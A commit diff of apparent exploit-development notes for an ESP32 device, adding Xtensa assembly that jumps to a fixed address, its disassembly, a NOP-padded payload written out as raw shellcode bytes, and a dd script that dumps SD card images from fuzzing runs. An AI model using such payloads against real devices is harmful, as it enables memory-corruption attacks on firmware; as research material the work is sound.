asm started

ASM-Payloads/asm-notes.txt

@@ -0,0 +1,33 @@
+xtensa-esp32-elf-as --warn --fatal-warnings first.s -o first.o
+xtensa-esp32-elf-objdump -d second.o
+
+second.o:     file format elf32-xtensa-le
+
+
+Disassembly of section .text:
+
+00000000 <_start>:
+   0:   000021          l32r    a2, fffc0000 <_start+0xfffc0000>
+   3:   0002a0          jx      a2
+                                              
+jx-addr.o:     file format elf32-xtensa-le
+
+
+Disassembly of section .text:
+
+00000000 <_start>:
+   0:	f03d      	nop.n
+   2:	f03d      	nop.n
+   4:	f03d      	nop.n
+   6:	000021        	l32r	a2, fffc0008 <_start+0xfffc0008>
+   9:	0002a0        	jx	a2
+   c:	f03d      	nop.n
+   e:	f03d      	nop.n
+  10:	f03d      	nop.n
+
+
+nop.n
+\xF0\x3D
+
+full sequence:
+   \xF0\x3D\xF0\x3D\xF0\x3D\x00\x00\x21\xF0\x3D\xF0\x3D\xF0\x3D

ASM-Payloads/build-notes.txt

@@ -0,0 +1,2 @@
+xtensa-esp32-elf-as --warn --fatal-warnings first.s -o first.o
+xtensa-esp32-elf-objdump -d second.o

ASM-Payloads/first.s

@@ -0,0 +1,2 @@
+_start:
+    j 400011a0

ASM-Payloads/jx-addr.s

@@ -0,0 +1,9 @@
+_start:
+    nop
+    nop
+    nop
+    l32r a2, 400011a0
+    jx a2
+    nop
+    nop
+    nop

ASM-Payloads/second.o.txt

@@ -0,0 +1,9 @@
+
+second.o:     file format elf32-xtensa-le
+
+
+Disassembly of section .text:
+
+00000000 <_start>:
+   0:	000021        	l32r	a2, fffc0000 <_start+0xfffc0000>
+   3:	0002a0        	jx	a2

ASM-Payloads/second.s

@@ -0,0 +1,3 @@
+_start:
+    l32r a2, 400011a0
+    jx a2

ASM-Payloads/third.s

@@ -0,0 +1,3 @@
+_start:
+    l32r a2, 400011a0
+    jx a2

sd-card-helpers/dump-script

@@ -1,9 +1,9 @@
 #!/bin/bash
-number=2
+number=0
-tag=incremental-overrun-nullbyte
+tag=full-fuzz
-blocks=32
+blocks=100
 blocksize=1M
-dumpsize=32M
+dumpsize=100M
 
 
 
@@ -15,7 +15,7 @@ block=/dev/$disk
 
 timestamp=$(date "+%d%m%Y-%H.%M.%S-%Z")
 
-filename="/home/kali/marauderexploitdev/imgs/${number}-${tag}-${dumpsize}-${timestamp}.img"
+filename="./imgs/${number}-${tag}-${dumpsize}-${timestamp}.img"
 
 echo -e "\nWriting to ${filename}"
 sudo dd if=$block of=$filename bs=$blocksize count=$blocks status=progress conv=fdatasync